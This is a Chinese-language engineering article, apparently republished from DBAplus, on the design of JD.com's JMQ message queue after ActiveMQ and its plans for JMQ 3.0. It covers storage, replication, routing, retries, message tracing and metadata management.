到2014年初AMQ几经优化已经很成熟。但随着公司业务的发展,接入主题数量越来越多,消息量也是成倍增长。 此外随着公司在各地新建机房,应用的部署结构也变得比较复杂,这就有了跨机房部署等需求。加上AMQ本身的一些问题,归结一下主要有: Broker较重,采用B-Tree索引,性能随消息积压量的上升急剧下降; Broker端采用的VirtualTopic模式针对一个Topic有多个订阅者的情况会对每个订阅者单独存储一份消息。而京东的生产环境中大部分都是采用VirtualTopic并且每个Topic订阅者都很多,举个例子,比如“订单管道”消息:它有将近100个订阅者,也就是同一个数据要写将近100份,不仅如此,这100份消息还要通过网络发送到Slave上,经过这些流程,写入TPS只能达到几百。所以不管本地写性能性能、网落利用率、还是存储空间利用率来看这种方案都急需调整; Broker逻辑复杂,其模型就决定了无法在其基础上扩展消息回放、顺序消息、广播消息等个性化需求,而实际使用过程当中又比较渴望我们支持此类特性; 重客户端,由于集群、异常消息重试等功能都是通过扩展ActiveMQ的原生客户端并引入SAF、ZooKeeper等服务得以支持的,一定程度上增加了客户端的复杂度,相应的在客户端的稳定性、可维护性等方面就打了折扣; 注册中心直接暴露给了客户端,这样最明显的一个缺点就是随着客户端实例数的增多,注册中心的连接数越来越多,这就很难对注册中心实施保护措施; 监控数据不完善。 基于以上原因我们2014年初开启了第二代消息中间件JMQ的自研过程。主要做了以下一些工作: a. JMQ服务端:实现轻量级的存储模型、支持消息回放、支持重试、支持消息轨迹、支持顺序消息、支持广播消息等,并兼容AMQ客户端使用的OpenWire协议; b. JMQ客户端:实现轻量级客户端只和Broker通信,支持动态接收参数,内置性能采集、支持跨机房; c. 管理控制平台:管理监控功能更强大; d. HTTP代理:基于Netty,支持跨语言。 回到JMQ是如何解决MQ面临一些通用问题上来: 1. 如何解决IO问题? JMQ没有采用AMQ通过自己开发重复造轮子的方式解决IO问题,而是使用了Netty4.0,此框架开源,支持epoll,编程模型相对简单。这在一定程度上减少了服务端的开发工作,也降低了服务端的复杂度。 在应用层,我们自定义了JMQ协议,序列化和反序列化也完全自己开发。这种序列化反序列化方式虽然在一定程度上降低我们的开发效率,但我们不用考虑如果采用第三方的序列化和反序列化方案会带来的性能损耗问题,对于性能上的提升是显而易见的。 2. 如何存储消息? JMQ存储分为日志文件(journal)和消息队列文件(queue)以及消费位置文件(offset)都存储在Broker所在机器的本地磁盘上。 日志文件,主要存储消息内容,包括消息所在队列文件的位置,有以下特点: a. 同一broker上不同topic消息存储在同一日志文件上,日志文件按固定大小切分; b. 文件名为起始全局偏移量; c. 消息顺序追加。 d. 日志文件同步刷盘; 由于JMQ主要使用在可靠性要求极高的下单、支付等环节,所以broker必须保证收到的每条消息都落到物理磁盘,这样一种日志文件设计主要是为了提高多topic大并发下磁盘的写性能。不仅限于模型的设计,为了提高写性能我们在逻辑上还实现了Group commit。下图是JMQ中Group Commit基本示意图: 图5:Group commit 示意图 消息队列,主要存储消息所在日志文件的全局偏移量,此文件有以下特点: a. 同一broker上不同topic的队列信息存储在不同的队列文件上,队列文件按固定大小切分; b. 文件名为全局偏移量; c. 索引顺序追加; d. 队列文件异步刷盘。 由于在日志的写入是单线程的,那我们在写入之前就可以提前获取到消息在队列文件的位置,并将这个位置写入到在日志文件当中。所以只要日志文件写成功,即便队列文件写失败,我们也能从日志文件中将队列恢复出来,因此队列文件采用异步刷盘。 图6:日志文件和队列文件模型 消费位置文件:主要用于存储不同订阅者针对于某个topic所消费到的队列的一个偏移量。 下图简单描述了消息在服务端的流转过程: 图7:消息流转示意图 3. 如何容灾? 说到容灾,我们上一节谈到了每条消息在broker上都会落地,但这远远不够,我们必须要保证单机失效甚至机房失效的情况下数据还能被恢复,所以我们需要的一套完整的方案来进行数据灾备。在AMQ里采用的是一主一从,主从分布在一个数据中心,主从同步复制这样的方案。 JMQ里我们实现了一套全新的复制方案:采用一主一从,至少一个备份,主从分布在同一个数据中心、备份分布在其他数据中心,主从同步复制、备份异步复制这样一种方式进行数据灾备。主从同步复制这样就保证了同一条消息我们至少有两个完整备份,即便一个备份丢失,我们还有另一个备份可用。备份节点就保证了极端情况下即使整个数据中心挂掉,我们绝大部分的消息还能得以恢复; 图8:JMQ复制模型 4. Push or pull?消息如何路由? JMQ采用pull模式,也就是消息由producer发送到broker之后是由consumer主动发起请求去broker上取消息。 发送者的路由和AMQ客户端采取的策略基本相同。 消费者路由和AMQ差不多也是随机,不同点在于JMQ是拉模式,在Broker采取长轮询策略。 5. 如何处理消费失败的消息? 与AMQ不同,由于JMQ 的broker直接就支持重试,在Consumer在处理消息失败时直接向服务端发送一个重试消息命令,服务端接到到命令后将此消息入库。随后在consumer发起拉取消息命令时,服务端再根据一定的策略从库里将消息取出,返回给consumer进行处理。这样做带来一个好处就是JMQ客户端减少了一个第三方服务依赖。 6. 如何记录消息轨迹? JMQ消息轨迹功能整体流程和AMQ基本相同,主要不同点在于JMQ将消息轨迹相关信息存储到HBase,这样JMQ消息轨迹信息的存储周期变的更长,可以存储的量也更大了,并且采用多种手段优化之后性能也得到了极大的提升。 7. 如何管理元数据? 通过第一部分我们知道,AMQ的元数据会持久化在MySQL,并在入库的同时写入Zookeeper,由ZK再下发到Broker和客户端。这样就有两个问题: a. 客户端引入了Zookeeper这个第三方服务,引入服务越多那客户端稳定性和可维护性就越差。 b. 注册中心也就是Zookeeper直接暴露给了客户端,这样就会导致注册中心的连接数越来越多在出现故障时缺乏必要的手段对注册中心进行保护。 在JMQ中我们依然利用MySQL来持久化元数据,同时也会将元数据写入Zookeeper,Zookeeper再通知到Broker,但客户端不再直接连接ZooKeeper,而是转而连接Broker,从Broker上获取元数据信息。 由于每个Broker都有全量的元数据信息,所以客户端端连接任意的Broker都能获取到元数据信息。这种设计就带来了几个好处: a. 减少了客户端对Zookeeper服务的依赖,至此我们客户端就只需和broker通信,客户逻辑得到了简化,客户端稳定得到了极大提升。 b. Zookeeper不再暴露给客户端,这样ZooKeeper的稳定性也有了保证。 c. 由于连接任意一个Broker都能获取到元数据,极端情况下即便有个别broker宕机也不影响客户端获取元数据,所以从另外一个角度来看这又提高了我们注册中心的可用性。 8. 其他 除了以上提到的一些基本问题之外,我们还解决了很多问题,由于篇幅问题就不一一在此罗列说明,其中包括但不限于: a. 如何实现严格顺序消息; b. 如何实现广播消息; c. 如何实现两阶段事务; d. 如何实现消息回放。 下面是JMQ的一个粗略整体架构图: 图9:JMQ架构图 JMQ性能数据 测试所用机器情况: 场景1:一主一从,Master同步刷盘+同步复制到Slave 场景2:一主一从,Master异步刷盘+异步复制Slave JMQ规模 Topic数量:1000+ 接入应用数量:2500+ 单日消息入队数量:500亿+ JMQ3.0 到2016年中,JMQ经过两个大版本的迭代,目前线上运行的JMQ2.0版本已经非常稳定,性能也很优秀,有人可能会问,既然都挺好了你们是不是就没事干了?只需要运维好就行了。 其实不然,随着业务的发展,服务端规模的扩充,如何构建一个多样化、自动化的系统就显得尤为重要,所以在今年下半年我们又规划了我们JMQ3.0,JMQ3.0我们有几个重要的目标: 1. 优化JMQ协议; 2. 优化复制模型; 3. 实现KAFKA协议兼容; 4. 实现全局负载均衡; 5. 实现全新的选举方案; 6. 实现资源的弹性调度。 从这些目标不难看出JMQ3.0在功能上和架构上都会有一个大的升级,所以我们打算通过两次大的迭代逐步实现上述这些目标。目前我们正在进行JMQ3.0第一版联调测试工作,预计在12月底第一个版本就会进行预发。 第一版我们基本实现了Kafka协议兼容、类Raft的主从选举、全局负载均衡、对复制进行了优化,同时实现了一个弹性调度的简单DEMO。从我们目前的一些测试数据来看,新版本在性能上又有了一定的提高。期望JMQ3.0第一期上线后我们再通过一期或者两期的迭代,能够让JMQ更上一层楼。 下图是我们JMQ3.0的一个整体架构: 图10:JMQ3.0整体架构 原文发布时间为:2017-01-22 本文来自云栖社区合作伙伴DBAplus